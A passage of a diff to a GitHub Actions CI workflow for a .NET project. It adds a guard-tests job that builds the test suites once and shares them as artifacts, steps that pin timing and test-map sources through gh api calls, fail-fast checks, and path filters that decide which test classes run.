+                  echo "Try ${attempt} of ${tries}: no push run on the listing finished in the last ${stale_days} days (latest: ${page#stale }), so the page counts as stale."
+                  ;;
+                *)
+                  runs="${page}"
+                  break
+                  ;;
+              esac
+            else
+              failed_tries=$((failed_tries + 1))
+              echo "Try ${attempt} of ${tries}: the run listing call failed."
+            fi
+          done
+          for id in ${runs}; do
+            # EVERY timing artifact of the run must outlive this run by two days, not just one, and the exact set is
+            # pinned so each shard can prove it downloaded the same files as the others.
+            names=$(gh api "repos/${GH_REPO}/actions/runs/${id}/artifacts?per_page=100" --jq '[.artifacts[] | select(.name | test("^lite-tests-timing-[0-9]+$"))] | if length > 0 and all(.[]; (.expired | not) and (.expires_at > env.KEEP_UNTIL)) then (map(.name) | unique | join(",")) else "" end') || names=""
+            if [ -n "${names}" ]; then
+              source_run="${id}"
+              source_artifacts="${names}"
+              break
+            fi
+          done
+
+          echo "run_id=${source_run}" >> "$GITHUB_OUTPUT"
+          echo "artifacts=${source_artifacts}" >> "$GITHUB_OUTPUT"
+          # Each notice says what the tries saw: a run was pinned; every call failed; no try got a current
+          # page (stale, empty or push-less pages, with failed calls among them); or a current page was read
+          # and no run on it qualified. Empty runs means no page was taken, so no run was tested at all.
+          if [ -n "${source_run}" ]; then
+            echo "::notice title=Lite timing source::The Lite shards balance their cut from the timings of run ${source_run}, the newest successful push run on dev that still has them."
+          elif [ "${failed_tries}" -eq "${tries}" ]; then
+            echo "::notice title=Lite timing source::The run listing call failed on all ${tries} tries, so every Lite shard cuts by class-name hash."
+          elif [ -z "${runs}" ]; then
+            echo "::notice title=Lite timing source::The run listing gave no current page in ${tries} tries (${stale_tries} returned no push run that finished in the last ${stale_days} days, a stale API page or no push run that recent, and ${failed_tries} failed), so every Lite shard cuts by class-name hash."
+          else
+            echo "::notice title=Lite timing source::No successful dev push run has unexpired Lite timings (or the lookup failed), so every Lite shard cuts by class-name hash."
+          fi
+
+      # #5459 change 4: the ONE test map this run's selection job reads, picked here once for the
+      # same reason as the Lite timing source above (two readers must not see two maps). It is the newest
+      # successful nightly run whose `test-map` artifact has not expired (two days of margin) and whose
+      # commit is an ancestor of the pull request's base, so a map built from code the base does not contain
+      # is never used. Pull requests only; a push, a merge group and a release never read a map. Every failure
+      # here means "no map", which the selection job reads as FULL, and a FULL selection narrows nothing: every
+      # shard runs every class. The step cannot fail the gate.
+      - name: Pin the test map
+        id: testmap
+        if: github.event_name == 'pull_request' && steps.decide.outputs.run == 'true'
+        continue-on-error: true
+        # A hang in one of the gh api calls must end this step (a step failure, which continue-on-error absorbs), not
+        # run into the gate job's own 5-minute timeout, which continue-on-error does not cover and which would red the PR.
+        timeout-minutes: 2
+        shell: bash
+        env:
+          GH_TOKEN: ${{ github.token }}
+          GH_REPO: ${{ github.repository }}
+          BASE_SHA: ${{ github.event.pull_request.base.sha }}
+        run: |
+          set -uo pipefail
+
+          export KEEP_UNTIL
+          KEEP_UNTIL=$(date -u -d '+2 days' +%Y-%m-%dT%H:%M:%SZ)
+          map_run=""
+          map_sha=""
+          seen=0
+          if runs=$(gh api "repos/${GH_REPO}/actions/workflows/nightly.yml/runs?status=success&per_page=20" --jq '.workflow_runs[] | select(.event == "schedule" or .event == "workflow_dispatch") | "\(.id) \(.head_sha)"'); then
+            while read -r id sha; do
+              [ -n "${id}" ] || continue
+              seen=$((seen + 1))
+              [ "${seen}" -le 10 ] || break
+              has=$(gh api "repos/${GH_REPO}/actions/runs/${id}/artifacts?per_page=100" --jq '[.artifacts[] | select(.name == "test-map" and (.expired | not) and .expires_at > env.KEEP_UNTIL)] | length') || has=0
+              [ "${has}" = "1" ] || continue
+              rel=$(gh api "repos/${GH_REPO}/compare/${sha}...${BASE_SHA}" --jq '.status') || rel=""
+              case "${rel}" in
+                ahead|identical)
+                  map_run="${id}"
+                  map_sha="${sha}"
+                  break
+                  ;;
+              esac
+            done <<< "${runs}"
+          fi
+
+          echo "run_id=${map_run}" >> "$GITHUB_OUTPUT"
+          echo "sha=${map_sha}" >> "$GITHUB_OUTPUT"
+          if [ -n "${map_run}" ]; then
+            echo "::notice title=Test map::The test map selection reads the map of nightly run ${map_run} (commit ${map_sha:0:10}), the newest one built from an ancestor of this base."
+          else
+            echo "::notice title=Test map::No successful nightly has an unexpired test map built from an ancestor of this base (${seen} runs looked at), so the selection is FULL."
+          fi
+
+  # #5459: the guard classes of BOTH test suites, first, so a source pin, a census or a hygiene scan that a
+  # pull request breaks fails in about ten minutes with every shard skipped, instead of after the whole run.
+  # Before this job, 6 PostgreSQL shards, 4 Lite shards, the build job's own suites and the Linux image all
+  # ran to the end on a pull request one stacked doc comment had already broken. The guard classes carry
+  # [Trait("Stage", "Guard")]; GuardStageCensusTests (one per suite) fails a class whose name says it is a
+  # guard, or that walks the whole repository, and carries no trait, and fails a tagged class that needs a
+  # store, because this job has no PostgreSQL (and no DARLING_TEST_* variable).
+  #
+  # NOT a required check. The four required checks (`build`, `Darling PostgreSQL tests`, `Lite tests (result)`
+  # and the Claude review guard) keep their names; the first three read this job's result and go red when it
+  # is not success, so a guard failure is visible on each of them and nothing waits on a check that never
+  # reports. Pull requests only: a push, a merge-queue run and a release run every shard whatever the guards
+  # say (dev pushes are the safety net and the source of the Lite timings), so the shards' `if:` below read
+  # this job's result only on a pull request. Skipped on release, where `build` runs the suites whole.
+  #
+  # The build is shared (#5459 change 2). Right after the Release build, and before any test runs (so a guard
+  # failure still leaves it), this job uploads the two test projects' bin/Release trees plus the few obj files
+  # `dotnet run --no-build` reads (project.assets.json, the nuget props/targets, the cache file), and a small
+  # origin file recording the producer's github.workspace and sha. The consumers (the six PostgreSQL shards, the
+  # four Lite shards, the whole-tree guards job) download it into the same relative paths and skip their own
+  # restore and build. The obj/Release intermediates and every other project's obj are not needed, and not
+  # uploaded: `dotnet run --no-build` was proven locally with exactly this set and an empty NuGet package folder.
+  # Two tests read ANOTHER project's build output through the repo layout, so those are uploaded too: the Darling
+  # service's bin/Release (DarlingEncryptPasswordStreamTests starts its exe) and the Lite app's runtimeconfig
+  # (LiteRuntimePrerequisiteDocsTests reads Lite/bin/**). A first version without them failed both on the shards.
+  # The workspace path is recorded because many tests find the repo root through [CallerFilePath], so a binary
+  # built in one workspace path reads its source from that path; a consumer whose workspace or sha differs fails
+  # loudly instead of testing the wrong tree. Only a consumer that USED the artifact leaves out Stage=Guard (this
+  # job ran those classes on the same binaries in this run); one that built for itself runs every class.
+  #
+  # Docs-only changes: the filter below holds ONLY the build job's `docs` and `all` entries (a byte copy,
+  # pinned by GuardStageWorkflowTests), and a change whose every file is on the documentation allowlist
+  # reports a notice and succeeds without building anything, exactly as the build job's docs fast path does.
+  #
+  # The two suites are built once here (Release), and the class lists come off the built assemblies, so the
+  # set is whatever carries the trait on THIS commit: no roster. An empty list is a hard error (a runner given
+  # no class filter would run nothing or everything, and neither is a guard). Both suites run even when the
+  # first fails, so one red run names everything that is broken.
+  guard-tests:
+    name: Guard tests
+    needs: gate
+    if: ${{ needs.gate.outputs.run == 'true' && github.event_name != 'release' }}
     runs-on: windows-latest
+    # Measured locally at ~1 minute of tests per suite (Debug); a hosted runner adds setup, restore and two
+    # Release builds (~6 minutes). 20 minutes is a hang guard, as on the other Windows jobs.
+    timeout-minutes: 20
+    permissions:
+      contents: read
+    # One artifact per suite, so a Darling consumer does not download the Lite tree and the other way round. Each
+    # output holds the artifact name, set only when its upload step succeeded (empty on a docs-only change, a failed
+    # build, or a failed upload). The consumers download only when it is set; a job output is still published when
+    # a later step of this job fails, which is the case that matters (the guards failed after the upload).
+    outputs:
+      darling_build_artifact: ${{ steps.upload-darling-build.outcome == 'success' && 'guard-test-build-darling' || '' }}
+      lite_build_artifact: ${{ steps.upload-lite-build.outcome == 'success' && 'guard-test-build-lite' || '' }}
+
+    steps:
+      - uses: actions/checkout@v7
+
+      - name: Detect changed paths
+        id: filter
+        uses: dorny/paths-filter@v4
+        with:
+          base: ${{ github.event_name == 'push' && github.event.before || '' }}
+          filters: |
+            # Byte copy of the build job's `docs` and `all` entries (GuardStageWorkflowTests pins the patterns
+            # equal): the documentation allowlist, and the catch-all counter that is equal to it exactly when
+            # every changed file is documentation.
+            docs:
+              - '**/*.md'
+              - 'LICENSE'
+              - 'CITATION.cff'
+              - '.gitignore'
+              - '.gitattributes'
+              - 'llms.txt'
+              - 'tools/changelog/archive-census.txt'
+              - 'docs/**/*.{md,svg,png,jpg,jpeg,gif}'
+              - 'Screenshots/**/*.{md,svg,png,jpg,jpeg,gif}'
+            all:
+              - '**'
+
+      - name: Decide whether the guard classes run
+        id: decide
+        shell: bash
+        env:
+          ALL_COUNT: ${{ steps.filter.outputs.all_count }}
+          DOCS_COUNT: ${{ steps.filter.outputs.docs_count }}
+        run: |
+          set -euo pipefail
+
+          if [ "${ALL_COUNT:-0}" -gt 0 ] && [ "${ALL_COUNT:-0}" -eq "${DOCS_COUNT:-0}" ]; then
+            echo "run=false" >> "$GITHUB_OUTPUT"
+            echo "::notice title=Guard tests skipped::All ${ALL_COUNT} changed files are on the documentation allowlist, so there is no code for the guard classes to catch. This job still reports success."
+          else
+            echo "run=true" >> "$GITHUB_OUTPUT"
+            echo "::notice title=Guard tests running::${DOCS_COUNT:-0} of ${ALL_COUNT:-0} changed files are on the documentation allowlist."
+          fi
+
+      - name: Setup .NET 10.0
+        if: steps.decide.outputs.run == 'true'
+        uses: actions/setup-dotnet@v6
+        with:
+          global-json-file: global.json
+          cache: true
+          cache-dependency-path: '**/packages.lock.json'
+
+      # Locked mode and `set -euo pipefail` for the reason the build job's restore step gives (and
+      # LockedModeRestoreCoverageTests enforces): a multi-line run block under the default shell reports only
+      # its last command's exit code, so the first restore could fail unseen.
+      - name: Restore both test projects
+        if: steps.decide.outputs.run == 'true'
+        shell: bash
+        run: |
+          set -euo pipefail
+
+          dotnet restore Darling/Darling.Tests/Darling.Tests.csproj --locked-mode
+          dotnet restore Lite.Tests/Lite.Tests.csproj --locked-mode
+
+      - name: Build both test projects
+        if: steps.decide.outputs.run == 'true'
+        shell: bash
+        run: |
+          set -euo pipefail
+
+          dotnet build Darling/Darling.Tests/Darling.Tests.csproj -c Release --no-restore
+          dotnet build Lite.Tests/Lite.Tests.csproj -c Release --no-restore
+
+      # Written by the producer for the consumers' check (see the header above): where this build was made and from
+      # what. Plain key=value lines, no dot-prefix (upload-artifact skips hidden files).
+      - name: Record where this build was made
+        if: steps.decide.outputs.run == 'true'
+        shell: pwsh
+        env:
+          PRODUCER_WORKSPACE: ${{ github.workspace }}
+          PRODUCER_SHA: ${{ github.sha }}
+        run: |
+          $ErrorActionPreference = 'Stop'
+          Set-Content -Path guard-build-origin.txt -Value @("workspace=$env:PRODUCER_WORKSPACE", "sha=$env:PRODUCER_SHA") -Encoding utf8NoBOM
+
+      # Before the tests, so a guard failure still leaves the artifacts. One day of retention: they are read only by
+      # the jobs of this run. overwrite: a re-run of this job in a later attempt uploads the same names again.
+      - name: Upload the built Darling.Tests for the shards
+        id: upload-darling-build
+        if: steps.decide.outputs.run == 'true'
+        uses: actions/upload-artifact@v6
+        with:
+          name: guard-test-build-darling
+          path: |
+            guard-build-origin.txt
+            Darling/Darling.Tests/bin/Release
+            Darling/PerformanceMonitor.Darling.Service/bin/Release
+            Darling/Darling.Tests/obj/project.assets.json
+            Darling/Darling.Tests/obj/project.nuget.cache
+            Darling/Darling.Tests/obj/*.nuget.g.props
+            Darling/Darling.Tests/obj/*.nuget.g.targets
+            Darling/Darling.Tests/obj/*.nuget.dgspec.json
+          retention-days: 1
+          compression-level: 1
+          overwrite: true
+          if-no-files-found: error
+
+      - name: Upload the built Lite.Tests for the shards
+        id: upload-lite-build
+        if: steps.decide.outputs.run == 'true'
+        uses: actions/upload-artifact@v6
+        with:
+          name: guard-test-build-lite
+          path: |
+            guard-build-origin.txt
+            Lite.Tests/bin/Release
+            Lite/bin/**/PerformanceMonitorLite.runtimeconfig.json
+            Lite.Tests/obj/project.assets.json
+            Lite.Tests/obj/project.nuget.cache
+            Lite.Tests/obj/*.nuget.g.props
+            Lite.Tests/obj/*.nuget.g.targets
+            Lite.Tests/obj/*.nuget.dgspec.json
+          retention-days: 1
+          compression-level: 1
+          overwrite: true
+          if-no-files-found: error
+
+      - name: Run the Stage=Guard classes of both suites
+        if: steps.decide.outputs.run == 'true'
+        shell: pwsh
+        run: |
+          $ErrorActionPreference = 'Stop'
+          # Both suites must run even when the first fails, so a failing native command has to set $LASTEXITCODE
+          # and not throw (#5471 review L1). The default is already $false; the three loops below that need the
+          # same say it out loud, so this one does too.
+          $PSNativeCommandUseErrorActionPreference = $false
+          $failed = @()
+          $suites = @(
+              @{ Name = 'Darling.Tests'; Key = 'darling'; Project = 'Darling/Darling.Tests/Darling.Tests.csproj' },
+              @{ Name = 'Lite.Tests'; Key = 'lite'; Project = 'Lite.Tests/Lite.Tests.csproj' }
+          )
+          # #5459: one xunit report per suite, uploaded below, so the shadow check can list the Guard classes that failed.
+          # The attempt is in the file name: within this artifact, a lower attempt's file is stale next to a higher one.
+          New-Item -ItemType Directory -Force -Path TestResults | Out-Null
+
+          foreach ($suite in $suites) {
+              $lines = @(dotnet run --project $suite.Project -c Release --no-build -- -list classes/json -trait Stage=Guard)
+              if ($LASTEXITCODE -ne 0) { throw "$($suite.Name): the class listing failed with exit code $LASTEXITCODE" }
+              # Only the runner's one-line JSON array is parsed; a CLI notice can share stdout.
+              $json = @($lines | Where-Object { $_ -match '^\s*\[' })
+              if ($json.Count -ne 1) { throw "$($suite.Name): expected one JSON array line from the class listing, got $($json.Count): $($lines -join ' | ')" }
+              $classes = @($json[0] | ConvertFrom-Json)
+              if ($classes.Count -eq 0) { throw "$($suite.Name): no class carries Stage=Guard, so this job would run nothing" }
+              Write-Host "$($suite.Name): $($classes.Count) Stage=Guard classes"
+
+              # -failSkips: this job has no PostgreSQL, so a tagged test that needs a store would SKIP, and a skip
+              # exits 0. Failing skips turns that into a red job (#5471 review M1). Both suites skip none today.
+              dotnet run --project $suite.Project -c Release --no-build -- -trait Stage=Guard -failSkips -xml "TestResults/guard-$($suite.Key)-a${{ github.run_attempt }}.xml"
+              if ($LASTEXITCODE -ne 0) {
+                  Write-Host "::error title=Guard tests failed::$($suite.Name) failed its Stage=Guard classes (exit $LASTEXITCODE). The shards were skipped on this pull request."
+                  $failed += $suite.Name
+              }
+          }
+
+          if ($failed.Count -gt 0) { throw "Guard classes failed in: $($failed -join ', ')" }
+
+      # #5459: the Guard classes' xunit reports, whatever the step above did, for the shadow check (which lists the
+      # failed classes of every report). Informational: a failed upload never turns the job red.
+      - name: Upload the Guard darling report
+        if: steps.decide.outputs.run == 'true' && always()
+        continue-on-error: true
+        uses: actions/upload-artifact@v6
+        with:
+          name: guard-tests-timing-darling
+          path: TestResults/guard-darling-*.xml
+          retention-days: 7
+          overwrite: true
+          if-no-files-found: ignore
+
+      - name: Upload the Guard lite report
+        if: steps.decide.outputs.run == 'true' && always()
+        continue-on-error: true
+        uses: actions/upload-artifact@v6
+        with:
+          name: guard-tests-timing-lite
+          path: TestResults/guard-lite-*.xml
+          retention-days: 7
+          overwrite: true
+          if-no-files-found: ignore
+
+  build:
+    # test-map-select (#5459): the no-store Darling pass narrows to the map's selection on a pull request; the job still
+    # runs, whatever that job did (`!cancelled()` below), and runs everything when there is no usable selection.
+    needs: [gate, guard-tests, test-map-select]
+    # `build` is a required check, so it has to run to report anything but "skipped" (which counts as
+    # passing). When the gate declines the run the job still starts, on a cheap Linux runner, and its
+    # first step fails; no later step has an `always()`/`failure()` condition, so the rest are skipped.
+    if: ${{ !cancelled() }}
+    # A pull request whose guard classes failed fails fast on the cheap Linux runner too (#5459): the step
+    # below reports it, and no Windows runner starts for a run that cannot pass. Push, merge_group and
+    # release keep the Windows runner whatever the guards said.
+    runs-on: ${{ needs.gate.outputs.run == 'true' && (github.event_name != 'pull_request' || needs.guard-tests.result == 'success') && 'windows-latest' || 'ubuntu-latest' }}
 
     # Whether THIS job ran Darling.Tests, taken from the step's own outcome rather than restated as
     # a copy of the step's path gate. The darling-tree-guards job at the bottom of this file runs
@@ -60,6 +541,32 @@ jobs:
       docs-fastpath: ${{ steps.fastpath.outputs.engaged }}
 
     steps:
+      - name: Fail when CI did not run
+        if: ${{ needs.gate.outputs.run != 'true' }}
+        shell: bash
+        env:
+          GATE_RESULT: ${{ needs.gate.result }}
+        run: |
+          if [ "${GATE_RESULT}" != "success" ]; then
+            echo "::error title=CI gate failed::needs.gate.result='${GATE_RESULT}' - the job that decides whether CI runs did not succeed, so nothing ran. Re-run the workflow."
+            exit 1
+          fi
+          echo "::error title=CI not run::This pull request's CI was skipped (draft or merge-train label). It can be merged only by an admin override after a merge train covered it. (gate result: ${GATE_RESULT})"
+          exit 1
+
+      # #5459: the Guard tests job runs first on a pull request. When it did not succeed, this required check
+      # fails at once, before checkout, instead of building and running the suites for a run that is already
+      # lost; the shards were skipped for the same reason. Pull requests only: a push, a merge-queue run and a
+      # release carry on whatever the guards said (a release skips the guard job, so its result is `skipped`).
+      - name: Fail when the guard tests failed
+        if: ${{ github.event_name == 'pull_request' && needs.gate.outputs.run == 'true' && needs.guard-tests.result != 'success' }}
+        shell: bash
+        env:
+          GUARD_RESULT: ${{ needs.guard-tests.result }}
+        run: |
+          echo "::error title=Guard tests failed::The Guard tests job did not succeed (result: ${GUARD_RESULT}), so the rest of CI was skipped. Read that job's log for the failing class; it runs first and fails in about ten minutes."
+          exit 1
+
       - uses: actions/checkout@v7
 
       - name: Detect changed paths
@@ -137,6 +644,9 @@ jobs:
             lite:
               - 'Lite/**/!(*.md)'
               - 'Lite.Tests/**/!(*.md)'
+              # #5616: the Lite shard script and its packer are test inputs (Lite.Tests CrossAppGuardCiGateTests parses the script), so an edit to either has to reach the Lite suite.
+              - '.github/scripts/run-lite-shard.ps1'
+              - '.github/scripts/lite-shard-pack.py'
               # #2489, changed by Erik's 2026-09-24 ruling that docs-only changes skip CI:
               # README.md and Lite/README.md used to sit here so LiteRuntimePrerequisiteDocsTests
               # (which reads these two READMEs against the built runtimeconfig and this file's
@@ -171,8 +681,8 @@ jobs:
               # WatermarkPolicy.MaxCatchup. Three of the twelve sites it was written for live here, so a
               # Darling-only PR reintroducing one would fire `darling` but not `lite` and skip the step
               # that runs the guard — caught a day later by the nightly, which is exactly the silent
-              # drift the pin exists to close. The cost is that Darling service PRs now also run the Lite
-              # suite; that is the same trade the `darling` filter already takes for Lite/**/*.xaml.
+              # drift the pin exists to close. A diff that reaches only these three Darling trees runs just
+              # the Lite.Tests classes tagged Reads=Darling, in one shard (the lite-tests job's scope step).
               - 'Darling/PerformanceMonitor.Darling.Service/**/!(*.md)'
             installer:
               - 'deprecated/Installer/**/!(*.md)'
@@ -215,6 +725,26 @@ jobs:
               # version property back to it must run the Darling guard that would catch it. Derived
               # rather than the one path, for the reason the two entries above are derived.
               - 'Lite/**/*.csproj'
+              # #4966: Darling.Tests' CommentFilterAdoptionTests reads this Lite.Tests file, so an edit to it has to reach the Darling suite.
+              - 'Lite.Tests/DataStartBannerQueriesTabTests.cs'
+              # #5562: same, for the Lite.Tests file CommentFilterAdoptionTests lists as a stated bound.
+              - 'Lite.Tests/LiteTimeRangeGapTests.cs'
+              # #5596: Darling.Tests' WpfExitSwitchPinTests reads this project file for the WPF exit switch, so an edit to it has to reach the Darling suite.
+              - 'Lite.Tests/Lite.Tests.csproj'
+              # #5616: the two shard scripts are run by the shard jobs and parsed by Darling.Tests pins.
+              - '.github/scripts/run-darling-pg-shard.ps1'
+              - '.github/scripts/run-lite-shard.ps1'
+            # #5459 cut 3a: the part of `darling` that is NOT a Lite file. A diff that reaches `darling` through
+            # these (or core, root, a release) runs the whole Darling suite; a diff that reaches it only through the
+            # Lite entries above runs the Stage=Guard classes and the classes tagged Reads=Lite, which are the ones
+            # that read a Lite file (LiteReadsTraitGuardTests derives the tag from the source, and pins that
+            # `darling` minus this filter is Lite paths only). The decision lives in .github/scripts/ci-select.py.
+            darling_full:
+              - 'Darling/**/!(*.md)'
+              - '.github/workflows/nightly.yml'
+              # #5616: the two shard scripts are run by the shard jobs and parsed by Darling.Tests pins.
+              - '.github/scripts/run-darling-pg-shard.ps1'
+              - '.github/scripts/run-lite-shard.ps1'
             # The DOCUMENTATION allowlist: files that cannot affect a build under any
             # job in this workflow. Deliberately an allowlist of non-executable content,
             # not a "everything that isn't code" subtraction — a new file type defaults
@@ -240,6 +770,13 @@ jobs:
               # (and Lite's copy) are test INPUTS, not documentation, and a bare extension glob
               # would wave every budget-pin edit through the fast path unbuilt and untested.
               - 'llms.txt'
+              # The changelog archive census, an exact path for the same reason as llms.txt. Every
+              # changelog splice regenerates it beside CHANGELOG.md and docs/changelog/<version>.md, and
+              # without it a splice paid about 17 minutes of Guard tests and whole-tree guards. It gives up
+              # ChangelogIndexAndArchiveTests on a splice PR, which already does not run on a
+              # CHANGELOG.md-only change: the splice lane runs that class before it pushes, and the nightly
+              # runs the full suite (#5614).
+              - 'tools/changelog/archive-census.txt'
               - 'docs/**/*.{md,svg,png,jpg,jpeg,gif}'
               - 'Screenshots/**/*.{md,svg,png,jpg,jpeg,gif}'
             # Catch-all COUNTER, not a boolean gate: the classify step below decides
@@ -395,20 +932,40 @@ jobs:
           dotnet build Darling/PerformanceMonitor.Darling.Viewer/PerformanceMonitor.Darling.Viewer.csproj -c Release --no-restore
 
       # RELEASE-ONLY here since #3887; on pull requests and pushes the suite runs in the lite-tests
-      # matrix job below, four shards cut by CLASS-NAME HASH, because this one step had grown to
-      # ~9½ of the build job's ~15 minutes — 62% of the PR wall's critical path. The hash cut is the
+      # matrix job below, four shards cut over CLASS NAMES (balanced by recorded duration since #5208,
+      # the class-name hash otherwise), because this one step had grown to
+      # ~9½ of the build job's ~15 minutes — 62% of the PR wall's critical path. The name cut is the
       # deliberate opposite of the SEMANTIC split this step's history retired: it was split into
       # fast / analysis-heavy halves when the seven analysis classes rebuilt the full DuckDB schema
       # inside every test and their subset alone cost ~9 minutes; after the shared class fixtures
       # (#1693, #1698) and batched seeding (#1694) that subset ran in ~1 minute, so the split — and
       # the narrower lite_analysis path gate that let non-analysis Lite changes skip it — stopped
-      # earning its second test-host spin-up and its FILTER-DRIFT RISK. A hash over the class name
-      # cannot drift: every class lands in exactly one shard by arithmetic, a class added tomorrow
-      # included, and no list anywhere has to be maintained. Releases keep this single unsharded
+      # earning its second test-host spin-up and its FILTER-DRIFT RISK. A cut over class names
+      # cannot drift: every class lands in exactly one shard (by arithmetic for the hash, by a
+      # proof for the duration cut), a class added tomorrow included, and no list anywhere has
+      # to be maintained. Releases keep this single unsharded
       # pass so the artifact-producing run still executes the suite whole, in one log.
       - name: Run Lite tests
         if: github.event_name == 'release'
-        run: dotnet run --project Lite.Tests/Lite.Tests.csproj -c Release --no-build
+        run: dotnet run --project Lite.Tests/Lite.Tests.csproj -c Release --no-build -- -xml TestResults/lite-timing-release.xml
+
+      # #5208: per-test timings of the unsharded release pass, same shape as the lite-tests shards.
+      - name: Lite test timing summary
+        if: always() && github.event_name == 'release'
+        continue-on-error: true
+        run: python .github/scripts/lite-timing-top.py TestResults
+
+      - name: Upload Lite test timings
+        if: always() && github.event_name == 'release'
+        continue-on-error: true
+        uses: actions/upload-artifact@v6
+        with:
+          name: lite-tests-timing-release
+          path: |
+            TestResults/lite-timing-*.xml
+            TestResults/lite-timing-*.xml.cpu.json
+          retention-days: 7
+          if-no-files-found: ignore
 
       - name: Run Installer tests
         if: steps.filter.outputs.installer == 'true' || steps.filter.outputs.installer_core == 'true' || steps.filter.outputs.root == 'true' || github.event_name == 'release'
@@ -418,10 +975,107 @@ jobs:
         if: steps.filter.outputs.dashboard == 'true' || steps.filter.outputs.core == 'true' || steps.filter.outputs.installer_core == 'true' || steps.filter.outputs.root == 'true' || github.event_name == 'release'
         run: dotnet run --project deprecated/Dashboard.Tests/Dashboard.Tests.csproj -c Release --no-build
 
+      # #5459 cut 3b: the PostgreSQL shards run EVERY Darling.Tests class, with a live store, whenever the Darling
+      # gate matches (the same .github/darling-paths-filter.yml the darling-pg job reads). This no-store pass would
+      # repeat their non-live classes, so while the shards run it keeps only the Stage=Guard classes. Where the gate
+      # does not match (a Lite-only change, a root build file) and on a release it still runs the whole suite.
+      # .github/scripts/ci-select.py holds the rule (darling_scope); the replay of the failure corpus checks it.
+      - name: Detect the Darling PostgreSQL gate
+        id: darling-gate
+        if: github.event_name != 'release' && (steps.filter.outputs.darling == 'true' || steps.filter.outputs.core == 'true' || steps.filter.outputs.root == 'true')
+        uses: dorny/paths-filter@v4
+        with:
+          base: ${{ github.event_name == 'push' && github.event.before || '' }}
+          filters: .github/darling-paths-filter.yml
+
+      - name: Decide the Darling test scope
+        id: darling-scope
+        if: steps.filter.outputs.darling == 'true' || steps.filter.outputs.core == 'true' || steps.filter.outputs.root == 'true' || github.event_name == 'release'
+        shell: bash
+        env:
+          EVENT_NAME: ${{ github.event_name }}
+          GATE: ${{ steps.darling-gate.outputs.darling }}
+          FULL: ${{ steps.filter.outputs.darling_full }}
+          CORE: ${{ steps.filter.outputs.core }}
+          ROOT: ${{ steps.filter.outputs.root }}
+        run: |
+          set -euo pipefail
+          python .github/scripts/ci-select.py darling-scope --event "${EVENT_NAME}" --gate "${GATE:-false}"             --full "${FULL:-false}" --core "${CORE:-false}" --root "${ROOT:-false}" | tee -a "$GITHUB_OUTPUT"
+
+      # #5459 live selection: this run's test map selection, from the test-map-select job (pull requests only). Same
+      # run, never another run's artifact. Every way it can be missing (not a pull request, the job failed or was skipped, no artifact, a
+      # failed download) leaves TEST_MAP_SELECTION empty in the test step below, and an empty one means every class runs.
+      - name: Download the test map selection
+        id: map-selection
+        if: github.event_name == 'pull_request' && needs.test-map-select.result == 'success'
+        continue-on-error: true
+        uses: actions/download-artifact@v6
+        with:
+          name: test-map-selection
+          path: test-map-selection
+
       - name: Run Darling tests
         id: darling-tests
         if: steps.filter.outputs.darling == 'true' || steps.filter.outputs.core == 'true' || steps.filter.outputs.root == 'true' || github.event_name == 'release'
-        run: dotnet run --project Darling/Darling.Tests/Darling.Tests.csproj -c Release --no-build
+        env:
+          DARLING_SCOPE_FILTER: ${{ steps.darling-scope.outputs.filter }}
+          DARLING_SCOPE: ${{ steps.darling-scope.outputs.scope }}
+          # #5459 live selection: empty unless this pull request run downloaded a selection (see the step above).
+          TEST_MAP_SELECTION: ${{ steps.map-selection.outcome == 'success' && format('{0}\test-map-selection\selection.json', github.workspace) || '' }}
+          # #5459 change 5: the slow-skip lookup reads the pull request's file list through the API.
+          GH_TOKEN: ${{ github.token }}
+          SLOW_EVENT: ${{ github.event_name }}
+          SLOW_PR: ${{ github.event.pull_request.number }}
+          SLOW_REPO: ${{ github.repository }}
+          # #5459: a pull request into main runs everything, Cost=Slow classes too (ci-select.py narrows).
+          SLOW_BASE_REF: ${{ github.base_ref }}
+        shell: pwsh
+        run: |
+          # An empty filter is the whole suite; `-trait Stage=Guard` is the Guard stage alone.
+          $scopeArgs = @($env:DARLING_SCOPE_FILTER -split ' ' | Where-Object { $_ })
+          # #5459 live selection: a pull request pass that is not the Guard stage alone (the whole suite, or the Guard and
+          # Reads=Lite classes) runs only the classes the test map selected, through the one copy of the Darling shard
+          # logic as a single leg (no hash cut to speak of, one chunk set). The Guard pass is already the narrowest; a
+          # selection that is FULL, missing or unreadable falls through to the unchanged runs below.
+          if ($env:SLOW_EVENT -eq 'pull_request' -and $env:TEST_MAP_SELECTION -and $env:DARLING_SCOPE -ne 'guard') {
+              $keep = @(python .github/scripts/ci-select.py map-keep --selection $env:TEST_MAP_SELECTION --suite darling | Where-Object { $_ })
+              if ($LASTEXITCODE -eq 0 -and $keep.Count -gt 1 -and $keep[0] -match '^SELECTED \d+$') {
+                  ./.github/scripts/run-darling-pg-shard.ps1 -Shard 0 -ShardCount 1 -EventName $env:SLOW_EVENT -ScopeFilter $env:DARLING_SCOPE_FILTER -SelectionFile $env:TEST_MAP_SELECTION -ResultPrefix darling-build -RunAttempt ${{ github.run_attempt }}
+                  exit $LASTEXITCODE
+              }
+          }
+          # #5459 change 5: the whole-suite pass on a pull request leaves out the Cost=Slow classes the change does
+          # not reach (ci-select.py slow_skip). The Guard-only pass has none of them (a Guard class is never Slow).
+          $slowArgs = @()
+          if ($env:SLOW_EVENT -eq 'pull_request' -and $scopeArgs.Count -eq 0) {
+              $slowArgs = @(python .github/scripts/ci-select.py slow-skip --suite darling --event $env:SLOW_EVENT "--base-ref=$env:SLOW_BASE_REF" --repo $env:SLOW_REPO --pr $env:SLOW_PR | Where-Object { $_ } | ForEach-Object { '-class-'; "*.$_" })
+          }
+          dotnet run --project Darling/Darling.Tests/Darling.Tests.csproj -c Release --no-build -- @scopeArgs @slowArgs
+          if ($LASTEXITCODE -ne 0) { exit $LASTEXITCODE }
+
+      # #5320: the statement-filter release gate. StatementCensus_PendingEntries_BlockARelease fails
+      # while any statement-column census entry or watched writer is pending, in every normal Darling
+      # test run (the step above), so a pull request that adds an unjudged column fails on its own.
+      # This step stays as the release-time backstop: it sets DARLING_RELEASE_CUT=1 and runs the one
+      # test by name, ahead of every publish and package step below, and only on the release event,
+      # so a release cannot ship an unhooked column even if the step above was skipped.
+      # ReleaseStatementGateWorkflowTests pins both halves, and that no other workflow sets the
+      # variable. Darling.Tests is already built (Release) by the build step above, so this runs
+      # the one test by name and nothing else.
+      - name: Statement filter release gate
+        if: github.event_name == 'release'
+        env:
+          DARLING_RELEASE_CUT: '1'
+        shell: pwsh
+        run: |
+          # A -method filter that matches nothing exits 0 with "Total: 0", so a renamed test would pass this gate
+          # without running. Fail unless the runner's own summary shows exactly the one test, with nothing failed,
